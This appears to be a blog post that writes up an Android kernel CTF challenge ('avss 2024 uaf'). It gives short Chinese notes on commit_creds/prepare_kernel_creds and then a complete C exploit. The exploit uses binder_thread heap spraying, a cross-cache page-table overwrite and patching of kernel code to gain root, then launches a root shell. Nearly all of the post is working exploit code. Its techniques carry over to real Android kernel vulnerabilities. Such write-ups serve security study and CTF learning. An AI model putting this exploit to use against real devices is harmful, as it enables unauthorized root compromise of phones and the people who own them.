[ayoung@blog posts]$ cat ./avss 2024 uaf.md

avss 2024 uaf

[Last modified: 2026-02-09]

最终执行commit_credsprepare_kernel_creds组成的提权代码,注意安卓内核中prepare_kernel_creds()变成了无参数,从当前cred复制一份,需要手动添加修改uid的代码;同时BL跳转指令跟偏移有关,直接在ida中patch代码,然后将字节码复制出来

android12

android13

exp

利用binder_thread堆喷 cross-cache打页表,patch sys_uaf的代码

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stddef.h>
#include <sys/syscall.h>

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"

#define INFO(format, ...) do { \
    printf("%s[%s]: ", COLOR_GREEN, "log"); \
    printf(format, ##__VA_ARGS__); \
    printf("%s\n", COLOR_RESET); \
} while(0)

void err_exit(char *buf){
    fprintf(stderr, "%s[error]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}
static inline void check_ret(int ret,char *msg) {
    if (ret) {
        err_exit(msg);
    }
}

#define PAGE_SIZE 0X1000
#define __NR_uaf 602
#define BUFSZ 256
#define NEW 0
#define DEL 1
#define SHOW 2
#define EDIT 3

struct st1{
    char name[BUFSZ];
    char str[128];
};

void New(size_t idx){
    size_t option = (((idx<<8) & 0xff00) | NEW );
    int fnc_ret = syscall(__NR_uaf,NULL,0,option);
    check_ret(fnc_ret<0,"syscall new fail");
}
void Del(size_t idx){
    size_t option = (((idx<<8) & 0xff00) | DEL );
    int fnc_ret = syscall(__NR_uaf,NULL,0,option);
    check_ret(fnc_ret<0,"syscall del fail");
}
void Show(size_t idx, char *buffer, size_t length){
    size_t option = (((idx<<8) & 0xff00) | SHOW );
    int fnc_ret = syscall(__NR_uaf,buffer,length,option);
    check_ret(fnc_ret<0,"syscall show fail");
}
void Edit(size_t idx,char *buffer,size_t length){
    size_t option = (((idx<<8) & 0xff00) | EDIT );
    int fnc_ret = syscall(__NR_uaf,buffer,length,option);
    check_ret(fnc_ret<0,"syscall edit fail");
}

#define BINDER_THREAD_DRAIN_NUM 200



void BindCpu(int core){
    cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(core, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}
}

int GetMemFileFd(char * mem_file_name,size_t page_nr){
    int memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
    check_ret(memfd<0,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, page_nr * PAGE_SIZE),"fallocate fail");
    return memfd;
}
void SysToString(int idx_max){
    char buf[0x100];
    memset(buf,0,0x100);
    for(int i=0;i<=idx_max;i++){
        Show(i,buf,8);
        INFO("syscal %d-heap content:0x%llx", i, (long long)*(size_t *)buf);
    }
}
int OpenBinder(){  
    int fd=open("/dev/binder", O_RDONLY);  
    check_ret(fd<0,"open binder fail");  
    return fd;  
}  

int OpenEpoll(){  
    int epfd= epoll_create(1);  
    check_ret(epfd<0,"epoll_create fail");  
    return epfd;  
}

void EpollCtl(int epfd,int io_fd,uint32_t cmd,uint32_t io_type){  
    struct epoll_event epe={  
        .events=io_type  
    };  
    int ret=epoll_ctl(epfd,cmd,io_fd,&epe);  
    check_ret(ret<0,"epoll_ctl");  
}

#define PIPE_NUM 8
#define BUFF_NUM 100

int initSocketArray(int sk_socket[][2],int socker_nr)
{
    /* socket pairs to spray sk_buff */
    for (int i = 0; i < socker_nr; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
            printf("[x] failed to create no socket pair!\n");
            err_exit("[x] failed to create no. socket pair!");
            return -1;
        }
    }

    return 0;
}

void OneObjToString(int idx){
    char buf[0x100];
    memset(buf,0,0x100);
    Show(idx,buf,0x100);
    for(int i=0;i<0x100/8;i++){
        INFO("idx: %d  content:0x%llx", idx, (long long )*(size_t *)(buf+i*8));
    }
}

int JudgeIsPageTable(int idx_max){
    char buf[0x100];
    memset(buf,0,0x100);
    for(int i=0;i<=idx_max;i++){
        Show(i,buf,0x20);
        for(int j=0;j<0x20/8;j++){
            INFO("idx: %d  content:0x%llx",i,(long long)*(size_t *)(buf+j*8));
            size_t value=(*(size_t *)(buf+j*8))&0xfff;
            if(value==0xf43){
                INFO("find page table entry");
                return i;
            }
        }
    }
    return -1;
}
#define N_PAGESPRAY 300


int MemfdCreate(char *file_name,size_t size){
    int memfd=memfd_create(file_name,MFD_CLOEXEC);
    check_ret(memfd<0,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, size),"fallocate fail");
    return memfd;
}
size_t addr = 0xf000000UL;

void SprayPageTableByMemfd(void *page_spray[N_PAGESPRAY][8],int fd){
    for(int i=0;i<N_PAGESPRAY;i++){
        for (int j = 0; j < 8; j++){
            page_spray[i][j] = mmap((void*)(addr +i*0x200000UL +j*64*0x1000UL),
                0x1000, PROT_READ|PROT_WRITE,
                MAP_FIXED|MAP_SHARED, fd, 0);

            check_ret(page_spray[i][j]  == MAP_FAILED,"mmap fail");
            *(char *)(page_spray[i][j] )='a';
        }
    }
    // addr=(size_t)page_spray[N_PAGESPRAY-1][8-1]+0x1000;

}

void MemmuPageTable(void *page_spray[N_PAGESPRAY][8]){
    for(int i=0;i<N_PAGESPRAY;i++){
        for(int j=0;j<8;j++){
            int ret=munmap(page_spray[i][j],0x1000);
            check_ret(ret<0,"munmap fail");
            page_spray[i][j]=NULL;
        }
    }
}

#define SOCKET_DRAIN_NUM  10
#define BINDER_THREAD_SPRAY_NUM 600

void SprayBinderThreadToDrain(){
    int binder_fd[BINDER_THREAD_DRAIN_NUM];
    int epfd;
    // INFO("create epoll");  
    epfd=OpenEpoll();  
    // INFO("create binder");  
    for(int i=0;i<BINDER_THREAD_DRAIN_NUM;i++){
        binder_fd[i]=OpenBinder(); 
    }
    for(int i=0;i<BINDER_THREAD_DRAIN_NUM;i++){
        EpollCtl(epfd,binder_fd[i],EPOLL_CTL_ADD,EPOLLIN); 
    }
}
int main(){
   
    sleep(15);
    BindCpu(0);
    // SprayBinderThreadToDrain();
    int epfd;
    int binder_fd[BINDER_THREAD_SPRAY_NUM];
    int memfd;
    void *page_spray[N_PAGESPRAY][8];
    char buf[0x100];
    memset(buf,'a',0x100);
    INFO("create epoll");  
    epfd=OpenEpoll();  
    INFO("create binder");  
    for(int i=0;i<BINDER_THREAD_SPRAY_NUM;i++){
        binder_fd[i]=OpenBinder(); 
    }
    memfd = MemfdCreate("spray_pagetable",PAGE_SIZE);

    INFO("link binder_thread to epoll");  
    for(int i=0;i<BINDER_THREAD_SPRAY_NUM/2;i++){
        EpollCtl(epfd,binder_fd[i],EPOLL_CTL_ADD,EPOLLIN); 
    }

    for(int i=0;i<=20;i++){
        New(i);
        Edit(i,buf,0x100);
    }

    for(int i=BINDER_THREAD_SPRAY_NUM/2;i<BINDER_THREAD_SPRAY_NUM;i++){
        EpollCtl(epfd,binder_fd[i],EPOLL_CTL_ADD,EPOLLIN); 
    }
    
    for(int i=0;i<=20;i++){
        Del(i);
    }

    
    SysToString(20);
    // INFO("getchar");
    // getchar();

    INFO("free...");  
    for(int i=0;i<BINDER_THREAD_SPRAY_NUM;i++){
        EpollCtl(epfd,binder_fd[i],EPOLL_CTL_DEL,EPOLLIN);
        close(binder_fd[i]);
    }
    close(epfd);
    
    INFO("begin to find page table");
    int ret;
    while (1)
    {
        INFO("spray....................................................");
        SprayPageTableByMemfd(page_spray,memfd);
        ret = JudgeIsPageTable(20);
        if(ret!=-1){
            break;
        }
        MemmuPageTable(page_spray);
    }

    size_t victim_vir_addr = 0xFFFFFFC008188780;
    size_t phy_base = 0x40200000;
    size_t vir_base = 0xffffffc008000000;
    size_t victim_phy_addr = 0xe800000040388f43;

    Edit(ret, (char*)&victim_phy_addr, 8);

    int victim_page_idx_i;
    int victim_page_idx_j;
    for(int i=0;i<N_PAGESPRAY;i++){
        for(int j=0; j<8; j++){
            if (*(char *)(page_spray[i][j])!='a'){
                INFO("found1: 0x%llx", (long long)page_spray[i][j]);
                INFO("found2: %llx", (long long)*(size_t*)page_spray[i][j]);
                victim_page_idx_i = i;
                victim_page_idx_j = j;
                break;
            }
        }
    }

    unsigned char code_data[17] = {
        0x08, 0xE6, 0xFF, 0x97, 0x1F, 0x04, 0x00, 0xB9, 0x40, 0xE8, 0xFF, 0x97, 0x1F, 0x20, 0x03, 0xD5
    };
    memcpy((char*)page_spray[victim_page_idx_i][victim_page_idx_j]+0x7AC, code_data, 16);

    INFO("getchar");
    getchar();
    Del(0);
    INFO("uid: %d\n", getuid());
    system("/bin/sh");

    // #define __sys_setresuid_phy_base 0x000000004035e1b8
    // # 40 01 00 54 EQ
    // # 41 01 00 54 NE

    // # 0xFFFFFFC00815E37C
    // # 0xFFFFFFC00815E3A8
    // # 0xFFFFFFC00815E3D4

}